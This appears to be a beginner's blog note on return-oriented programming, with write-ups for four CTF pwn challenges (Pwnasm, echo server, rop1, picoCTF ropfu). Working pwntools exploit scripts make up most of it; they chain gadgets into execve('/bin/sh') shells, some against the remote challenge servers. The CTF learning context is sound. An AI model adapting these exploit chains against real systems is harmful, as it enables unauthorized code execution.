Return Oriented Program note

Before all

I had posted a note of pwn for beginners(link here), and recently I’ve learned more about ROP, so here is this post~

ROP

What is ROP?

ROP(Return Oriented Program) is an attack method extended from BOF(Buffer Overflow), in ROP, the key point is to cover return address and lead it to Program Fragments you want(can be repeated many times if you have many usable fragments).
Basically, a fragment end with ret is mostly used.

x86_64 ROP

In x86_64, size of an address is 8 bytes(p64 in pwntool), so registers used frequently are rax, rdi, rsi, rdx ……
To connect the ROP Chain, it’s important to make sure every register called in the function, and find the corresponding fregment in the program. Is easy to find fregment with tools such as ROPgadget and pwntool.
ROPgadget:

1
ROPgadget --binary=binary_file | grep "mov dword .* ret" | less

In this command, I want to find a gadget start with mov_dword and end with ret.
but is much more easier to find a register fragment with pwntool.
pwntool

1
2
3
4
5
6
from pwn import *
rop=ROP('./oob1')
# find an rdi fregment
rop.rdi
# result
# Gadget(0x400a03, ['pop rdi', 'ret'], ['rdi'], 0x8)

In x86_64 system, if a variable want to be executive(or other action), it needs an syscall.

1
rop.syscall

syscall table
syscall table has each register need for every call and the meaning for each register.
p.s. execve is excution call.
Connect fragment like pop rdi; ret with a value can modify the value of rdi and move to mext fregment(possibly a function or syscall)
An example for an excution syscall:

1
2
3
4
#setting environment
context.arch='amd64'
#payload
flat(pop_rax_rdx_rbx_ret, 0x3b, 0, 0, pop_rdi_ret, shellcode, pop_rsi_ret, 0, syscall)

This ROP chain would make the value of rax become 0x3b(execve on syscall table), and rdi value become the address of shellcode(like string: /bin/sh\x00)
\x00 is a symbol to stop reading.
Also, vmmap in geb-peda is often used to find writable(or something else) datas.

x86 ROP

Same logic as x86_64
syscall table
Some differents between x86 and x86_64:

  1. In x86 system, each address and register are mostly 4 bytes
  2. int80 in x86 has the same function with syscall in x86_64
    Example:
    execve in x86:
    1
    2
    3
    4
    #setting environment
    context.arch='i386'
    #payload
    flat(pop_eax_ret, 0xb, pop_edx_ebx_ret, 0, data, pop_ecx_ret, 0, int80)

Challenges

Pwnasm from LoTuX CTF

Click link
It’s a simple ROP
Solution
Start with pwntool:

1
2
from pwn import *
rop=ROP('./pwnasm')

Extracted datas:

1
2
3
4
5
6
7
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

It’s a x86_64 system(amd64), so check out the syscall table ,register gadgets needed to trigger syscall are rax, rdi, rsi, rdx.
Also, from the reverse result by Ghidra
there are some weird datas on the stack(our shell('/bin/sh' at0x00402000) and first part of flag), so it’s possible to construct an ROP Chain and excuse the shell

1
2
3
4
5
rop.rax
rop.rdi
rop.rsi
rop.rdx
rop.syscall

Extracted datas:

1
2
3
4
5
6
7
8
9
10
>>> rop.rax
Gadget(0x401000, ['pop rax', 'ret'], ['rax'], 0x8)
>>> rop.rdx
Gadget(0x401006, ['pop rdx', 'ret'], ['rdx'], 0x8)
>>> rop.rdi
Gadget(0x401002, ['pop rdi', 'ret'], ['rdi'], 0x8)
>>> rop.rsi
Gadget(0x401004, ['pop rsi', 'ret'], ['rsi'], 0x8)
>>> rop.syscall
gadget(address=4198416, details=Gadget(0x401010, ['syscall', 'ret'], [], 0x4))

Finally, my exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch='amd64'
r=remote('lotuxctf.com', 10005)
# gadgets
shell=0x402000
pop_rax_ret=0x401000
pop_rdi_ret=0x401002
pop_rsi_ret=0x401004
pop_rdx_ret=0x401006
syscall=0x401010

# exploit
payload=flat(pop_rax_ret, 0x3b, pop_rdi_ret, shell, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall)
r.sendline(payload)
r.interactive()

echo server

file
source code
A x86_64 file
ROP Chain:
pop rdi; ret->change rdi location to global variable->trigger get function->return to runCMD function to bypass getString() filtering function
Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.arch='amd64'
r=process('./echo_server')
# gadgets
shell=0x601080
runCMD=0x4006c6
gets=0x4005a0
pop_rdi_ret=0x400923
shell=0x601080
padding=b'a'*0x38

#exploit
r.recvlines(7)
s=r.recvuntil(b'>')
print(s)
payload1=padding+flat(pop_rdi_ret, shell, gets, runCMD)
r.sendline(payload1)
r.sendline(b'/bin/sh\x00')
r.interactive()

rop1-sean_Pwn-2

file
Stack Migration

Stack Migration

Stack Migration is a technique to cover register base into a modified stack location, and the first 8 bytes(if it’s a x86_64 system)/first 4 bytes(if it’s a x86 system) need to be a location for new register(garbage)

Solution

First write the ROP Chain into global variable, and trgger it in func1, remember to leave.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.arch='amd64'
r=process('./rop1')

# gadgets
shell=(0x006c9eb8+0x006cd548)//2
pop_rax_rdx_rbx_ret=0x478616
pop_rdi_ret=0x401516
pop_rsi_ret=0x401637
padding=b'a'*40
read=0x43f4b0
syscall=0x4003da
func1=0x4009ae
leave=0x4009e4
main=0x4009e6
bof2=0x6ccd60

# exploit
payload1=flat(1004120, pop_rax_rdx_rbx_ret, 0x3b, 0, 0, pop_rdi_ret, bof2+10*0x8, pop_rsi_ret, 0, syscall, b'/bin/sh\x00')
r.sendline(payload1)
payload2=b'rahwhale'*4+flat(bof2, leave)
r.sendline(payload2)
r.interactive()

ropfu from picoCTF

link
An i386 (x86) system, key points are on above.
Use fragments like mov dword [edx] eax; ret to write shell on eax into location edx.
p.s.the shell input need to be converted into hex and reversed
exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch='i386'
#r=process('./ropfu')
r=remote('saturn.picoctf.net', 52033)
# gadgets
data=(0x080e36a0+0x080e6ff0)//2
pop_eax_ret=0x80b073a
pop_ebx_ret=0x8049022
pop_ecx_ret=0x8049e29
pop_edx_ebx_ret=0x80583b9
syscall=0x806417d
mov_edx_eax=0x080590f2
get=0x08051b60
read=0x0806ece0
vuln=0x08049d85
bin=0x6e69622f
sh=0x0068732f
int80=0x0807163f

#exploit
s=r.recvuntil(b'\n')
print(s)
r.sendline(b'a'*(0x18+4)+flat(pop_eax_ret, bin, pop_edx_ebx_ret, data, 0, mov_edx_eax, pop_eax_ret, sh, pop_edx_ebx_ret, data+4, 0, mov_edx_eax, pop_eax_ret, 0xb, pop_edx_ebx_ret, 0, data, pop_ecx_ret, 0, int80))
r.interactive()